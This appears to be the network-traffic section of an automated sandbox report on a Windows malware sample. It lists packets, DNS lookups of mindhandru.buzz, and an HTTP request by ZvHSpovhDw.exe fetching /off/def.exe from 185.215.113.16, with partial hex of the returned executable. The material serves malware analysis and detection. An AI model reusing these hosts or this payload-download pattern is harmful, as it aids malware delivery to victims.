Dec 27, 2024 08:54:52.654261112 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.654272079 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.654314041 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:52.654402018 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.654467106 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:52.655051947 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.655066967 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.655077934 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.655107975 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:52.655201912 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.655246019 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:52.655896902 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.655911922 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.655922890 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.655982018 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:52.656024933 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.656065941 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:52.656656027 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.656670094 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.656682968 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.656696081 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.656739950 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:52.657418966 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.657433987 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.657447100 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.657506943 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:52.657563925 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.657716036 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:52.658171892 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.658310890 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.658324003 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.658370018 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:52.658463955 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.658505917 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:52.658943892 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.658965111 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.659020901 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:52.659105062 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.659118891 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.659168959 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:52.659691095 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.659838915 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.659857988 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.659869909 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.659899950 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:52.659930944 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:52.660474062 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.660486937 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.660499096 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.660537958 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:52.660593987 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.660634041 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:52.661252022 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.661271095 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.661283016 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.661322117 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:52.661396980 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.661437988 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:52.662045002 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.662198067 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:52.662262917 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:55:02.051923990 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:55:02.899445057 CET	49776	443	192.168.2.5	142.250.181.68
Dec 27, 2024 08:55:02.899502039 CET	443	49776	142.250.181.68	192.168.2.5
Dec 27, 2024 08:55:02.899660110 CET	49776	443	192.168.2.5	142.250.181.68
Dec 27, 2024 08:55:02.899904966 CET	49776	443	192.168.2.5	142.250.181.68
Dec 27, 2024 08:55:02.899915934 CET	443	49776	142.250.181.68	192.168.2.5
Dec 27, 2024 08:55:04.645638943 CET	443	49776	142.250.181.68	192.168.2.5
Dec 27, 2024 08:55:04.646429062 CET	49776	443	192.168.2.5	142.250.181.68
Dec 27, 2024 08:55:04.646465063 CET	443	49776	142.250.181.68	192.168.2.5
Dec 27, 2024 08:55:04.647524118 CET	443	49776	142.250.181.68	192.168.2.5
Dec 27, 2024 08:55:04.647593021 CET	49776	443	192.168.2.5	142.250.181.68
Dec 27, 2024 08:55:04.648616076 CET	49776	443	192.168.2.5	142.250.181.68
Dec 27, 2024 08:55:04.648756981 CET	443	49776	142.250.181.68	192.168.2.5
Dec 27, 2024 08:55:04.693330050 CET	49776	443	192.168.2.5	142.250.181.68
Dec 27, 2024 08:55:04.693363905 CET	443	49776	142.250.181.68	192.168.2.5
Dec 27, 2024 08:55:04.741004944 CET	49776	443	192.168.2.5	142.250.181.68
Dec 27, 2024 08:55:10.167790890 CET	49703	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:55:10.167924881 CET	49703	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:55:10.168258905 CET	49811	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:55:10.168304920 CET	443	49811	23.1.237.91	192.168.2.5
Dec 27, 2024 08:55:10.168415070 CET	49811	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:55:10.168672085 CET	49811	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:55:10.168684006 CET	443	49811	23.1.237.91	192.168.2.5
Dec 27, 2024 08:55:10.287305117 CET	443	49703	23.1.237.91	192.168.2.5
Dec 27, 2024 08:55:10.287353039 CET	443	49703	23.1.237.91	192.168.2.5
Dec 27, 2024 08:55:11.557298899 CET	443	49811	23.1.237.91	192.168.2.5
Dec 27, 2024 08:55:11.557368994 CET	49811	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:55:14.323824883 CET	443	49776	142.250.181.68	192.168.2.5
Dec 27, 2024 08:55:14.323880911 CET	443	49776	142.250.181.68	192.168.2.5
Dec 27, 2024 08:55:14.323930025 CET	49776	443	192.168.2.5	142.250.181.68
Dec 27, 2024 08:55:14.478102922 CET	49776	443	192.168.2.5	142.250.181.68
Dec 27, 2024 08:55:14.478140116 CET	443	49776	142.250.181.68	192.168.2.5
Dec 27, 2024 08:55:30.984788895 CET	443	49811	23.1.237.91	192.168.2.5
Dec 27, 2024 08:55:30.984987020 CET	49811	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:56:02.814770937 CET	49993	443	192.168.2.5	142.250.181.68
Dec 27, 2024 08:56:02.814809084 CET	443	49993	142.250.181.68	192.168.2.5
Dec 27, 2024 08:56:02.814956903 CET	49993	443	192.168.2.5	142.250.181.68
Dec 27, 2024 08:56:02.815208912 CET	49993	443	192.168.2.5	142.250.181.68
Dec 27, 2024 08:56:02.815222025 CET	443	49993	142.250.181.68	192.168.2.5
Dec 27, 2024 08:56:04.604804993 CET	443	49993	142.250.181.68	192.168.2.5
Dec 27, 2024 08:56:04.606947899 CET	49993	443	192.168.2.5	142.250.181.68
Dec 27, 2024 08:56:04.606970072 CET	443	49993	142.250.181.68	192.168.2.5
Dec 27, 2024 08:56:04.607372046 CET	443	49993	142.250.181.68	192.168.2.5
Dec 27, 2024 08:56:04.610941887 CET	49993	443	192.168.2.5	142.250.181.68
Dec 27, 2024 08:56:04.611036062 CET	443	49993	142.250.181.68	192.168.2.5
Dec 27, 2024 08:56:04.658919096 CET	49993	443	192.168.2.5	142.250.181.68
Dec 27, 2024 08:56:14.272157907 CET	443	49993	142.250.181.68	192.168.2.5
Dec 27, 2024 08:56:14.272247076 CET	443	49993	142.250.181.68	192.168.2.5
Dec 27, 2024 08:56:14.272403002 CET	49993	443	192.168.2.5	142.250.181.68
Dec 27, 2024 08:56:14.738822937 CET	49993	443	192.168.2.5	142.250.181.68
Dec 27, 2024 08:56:14.738872051 CET	443	49993	142.250.181.68	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 08:54:24.593441010 CET	58681	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:54:24.731965065 CET	53	58681	1.1.1.1	192.168.2.5
Dec 27, 2024 08:54:34.046210051 CET	61513	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:54:34.270827055 CET	53	61513	1.1.1.1	192.168.2.5
Dec 27, 2024 08:54:58.373884916 CET	53	55062	1.1.1.1	192.168.2.5
Dec 27, 2024 08:54:58.398715019 CET	53	49259	1.1.1.1	192.168.2.5
Dec 27, 2024 08:55:01.119494915 CET	53	50243	1.1.1.1	192.168.2.5
Dec 27, 2024 08:55:02.753400087 CET	57661	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:55:02.753556013 CET	64030	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:55:02.892175913 CET	53	64030	1.1.1.1	192.168.2.5
Dec 27, 2024 08:55:02.898123980 CET	53	57661	1.1.1.1	192.168.2.5
Dec 27, 2024 08:55:04.747452021 CET	58048	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:55:04.747678041 CET	52946	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:55:08.126760006 CET	49966	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:55:08.126909018 CET	56869	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:55:12.365565062 CET	55898	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:55:12.365780115 CET	60963	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:55:12.941339970 CET	53	58506	1.1.1.1	192.168.2.5
Dec 27, 2024 08:55:18.234244108 CET	53	53370	1.1.1.1	192.168.2.5
Dec 27, 2024 08:55:37.017647982 CET	53	54035	1.1.1.1	192.168.2.5
Dec 27, 2024 08:55:58.174177885 CET	53	58283	1.1.1.1	192.168.2.5
Dec 27, 2024 08:55:59.830718994 CET	53	57471	1.1.1.1	192.168.2.5
Dec 27, 2024 08:56:12.378856897 CET	60143	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:56:12.378973961 CET	61629	53	192.168.2.5	1.1.1.1

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 27, 2024 08:55:00.635226011 CET	192.168.2.5	1.1.1.1	c2e4	(Port unreachable)	Destination Unreachable
Dec 27, 2024 08:55:05.031069994 CET	192.168.2.5	1.1.1.1	c2b5	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 08:54:24.593441010 CET	192.168.2.5	1.1.1.1	0x3608	Standard query (0)	mindhandru.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:54:34.046210051 CET	192.168.2.5	1.1.1.1	0xf26	Standard query (0)	mindhandru.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:55:02.753400087 CET	192.168.2.5	1.1.1.1	0xf32d	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:55:02.753556013 CET	192.168.2.5	1.1.1.1	0x349c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 27, 2024 08:55:04.747452021 CET	192.168.2.5	1.1.1.1	0x51e6	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:55:04.747678041 CET	192.168.2.5	1.1.1.1	0x3234	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 27, 2024 08:55:08.126760006 CET	192.168.2.5	1.1.1.1	0x8b6c	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:55:08.126909018 CET	192.168.2.5	1.1.1.1	0x3f08	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 27, 2024 08:55:12.365565062 CET	192.168.2.5	1.1.1.1	0xb995	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:55:12.365780115 CET	192.168.2.5	1.1.1.1	0xc94a	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Dec 27, 2024 08:56:12.378856897 CET	192.168.2.5	1.1.1.1	0x8baf	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:56:12.378973961 CET	192.168.2.5	1.1.1.1	0xaccd	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 08:54:24.731965065 CET	1.1.1.1	192.168.2.5	0x3608	No error (0)	mindhandru.buzz		104.21.11.101	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:54:24.731965065 CET	1.1.1.1	192.168.2.5	0x3608	No error (0)	mindhandru.buzz		172.67.165.185	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:54:34.270827055 CET	1.1.1.1	192.168.2.5	0xf26	No error (0)	mindhandru.buzz		172.67.165.185	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:54:34.270827055 CET	1.1.1.1	192.168.2.5	0xf26	No error (0)	mindhandru.buzz		104.21.11.101	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:55:02.892175913 CET	1.1.1.1	192.168.2.5	0x349c	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 27, 2024 08:55:02.898123980 CET	1.1.1.1	192.168.2.5	0xf32d	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:55:04.836355925 CET	1.1.1.1	192.168.2.5	0x269f	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:55:04.836355925 CET	1.1.1.1	192.168.2.5	0x269f	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:55:04.836355925 CET	1.1.1.1	192.168.2.5	0x269f	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:55:04.989394903 CET	1.1.1.1	192.168.2.5	0x51e6	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:55:04.989394903 CET	1.1.1.1	192.168.2.5	0x51e6	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:55:04.989394903 CET	1.1.1.1	192.168.2.5	0x51e6	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:55:04.989394903 CET	1.1.1.1	192.168.2.5	0x51e6	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:55:05.030795097 CET	1.1.1.1	192.168.2.5	0xacd	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:55:05.170538902 CET	1.1.1.1	192.168.2.5	0x3234	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:55:05.170538902 CET	1.1.1.1	192.168.2.5	0x3234	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:55:07.564117908 CET	1.1.1.1	192.168.2.5	0xbfc9	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:55:07.565337896 CET	1.1.1.1	192.168.2.5	0xa6d3	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:55:07.565337896 CET	1.1.1.1	192.168.2.5	0xa6d3	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:55:07.565337896 CET	1.1.1.1	192.168.2.5	0xa6d3	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:55:08.264565945 CET	1.1.1.1	192.168.2.5	0x8b6c	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:55:08.264565945 CET	1.1.1.1	192.168.2.5	0x8b6c	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:55:08.264565945 CET	1.1.1.1	192.168.2.5	0x8b6c	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:55:08.264565945 CET	1.1.1.1	192.168.2.5	0x8b6c	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:55:08.267360926 CET	1.1.1.1	192.168.2.5	0x3f08	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:55:08.267360926 CET	1.1.1.1	192.168.2.5	0x3f08	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:55:12.502607107 CET	1.1.1.1	192.168.2.5	0xc94a	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:55:12.599880934 CET	1.1.1.1	192.168.2.5	0xb995	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:55:20.047672987 CET	1.1.1.1	192.168.2.5	0xebe3	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:55:20.055788994 CET	1.1.1.1	192.168.2.5	0xf5e6	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:55:27.088618040 CET	1.1.1.1	192.168.2.5	0xb3b0	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:55:27.088659048 CET	1.1.1.1	192.168.2.5	0x9910	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:56:12.519959927 CET	1.1.1.1	192.168.2.5	0xaccd	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:56:12.620984077 CET	1.1.1.1	192.168.2.5	0x8baf	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

mindhandru.buzz

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49728	185.215.113.16	80	3364	C:\Users\user\Desktop\ZvHSpovhDw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:54:46.891962051 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 27, 2024 08:54:48.223397017 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:54:47 GMT Content-Type: application/octet-stream Content-Length: 2784256 Last-Modified: Fri, 27 Dec 2024 07:39:36 GMT Connection: keep-alive ETag: "676e59b8-2a7c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 bf 73 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +s+`Ui`D @ @ @.rsrcD``@.idata f@ricsrhqo)h@otxjrfec T@.taggant@"Z*@
Dec 27, 2024 08:54:48.223493099 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 08:54:48.223505020 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 08:54:48.223607063 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 08:54:48.223618984 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 08:54:48.223625898 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 08:54:48.223632097 CET	776	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 08:54:48.223643064 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 08:54:48.223771095 CET	1236	IN	Data Raw: 70 59 c6 71 76 57 1d 08 73 07 1b 21 2d 06 8b 1f 4e f6 8a 6f 70 59 c6 71 76 57 1d c4 72 07 1b 21 2d 06 8b 1f 4e f6 8a 6f 70 59 a6 72 76 57 1d 40 71 07 1b 21 2d 06 8b 1f 4e f6 8a 6f 70 59 a6 72 76 57 1d da 71 07 1b 21 ad 02 8b 1f 4e f6 8a 6f 70 59 Data Ascii: pYqvWs!-NopYqvWr!-NopYrvW@q!-NopYrvWq!NopYrvWq!NopYrvWq!NopUeovFwovovovyovyovovouWUyLI<94pvovovU_]f-\_cRovtvkov{ov(ovovov(<#$n)#ovGov/ov(>Bvou
Dec 27, 2024 08:54:48.223782063 CET	1236	IN	Data Raw: 76 07 8b 6f 76 87 8b 00 57 ca 8f 3d 75 0c 8b 6f 76 07 8b ef 76 76 6b 04 73 35 8a 82 76 07 8b 6f 76 87 8b 00 57 22 83 0f 75 f4 8a 17 56 07 8b 6f 76 76 8b b4 71 59 8a 52 76 8f 6b 6f 76 07 8b 00 77 97 8f 21 75 28 8b 8f 56 07 8b 6f 76 76 8b 93 6e 59 Data Ascii: vovW=uovvvks5vovW"uVovvqYRvkovw!u(VovvnYRv3jovwS!u(Uovv,rURvmovw*u#TovvmYVvcoov~uv$oVovpv,ovlrv(ovlqpvovjrqvXovMqqvqov,lpv@ov3qrvjoV
Dec 27, 2024 08:54:48.343203068 CET	1236	IN	Data Raw: 76 07 8b 6f 76 07 2a 13 20 66 1b 18 63 19 8b 3c 0d 68 1d 1e 23 6c 31 23 48 34 22 1d 63 19 8b 6b 29 6c 2f 24 0a 62 59 6f 27 57 2e 1d 43 62 1d 25 0d 68 2e 30 76 33 48 3a 31 4d 38 41 31 46 4f 6f 43 33 4a 3d 32 46 3d 33 37 39 42 36 2e 33 3c 4e 44 42 Data Ascii: vov* fc<h#l1#H4"ck)l/$bYo'W.Cb%h.0v3H:1M8A1FOoC3J=2F=379B6.3<NDBJ3vMNC4NI35COoCB=E-HNN2N<04KN3v8?0(CJA2<=8/O?B79N@AN=42<27JJ=5DNA7H=453NNCB=E-HNoCH8<5MJ61984(2F4DF?478NA@NL4vOJA24JA17=>0NG43OJ=/B?59J<3OJ=/BB18<8'ML75MP4v8N

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.21.11.101	443	3364	C:\Users\user\Desktop\ZvHSpovhDw.exe

Timestamp	Bytes transferred	Direction	Data
